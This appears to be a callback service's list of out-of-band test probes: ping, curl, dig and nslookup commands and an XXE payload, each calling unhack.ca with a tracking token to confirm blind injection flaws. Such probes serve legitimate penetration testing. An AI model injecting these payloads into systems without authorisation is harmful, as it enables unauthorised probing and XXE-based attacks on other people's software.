$ ping -c1 -p 00c896a4371ef51c9072adc480ceee00 unhack.ca
 

$ curl http://unhack.ca/p/c896a4371ef51c9072adc480ceee
 

$ dig c896a4371ef51c9072adc480ceee @unhack.ca
 

$ dig c896a4371ef51c9072adc480ceee.ns.unhack.ca
 

C:\> nslookup c896a4371ef51c9072adc480ceee unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c896a4371ef51c9072adc480ceee">]>
    <foo>&xxe;</foo>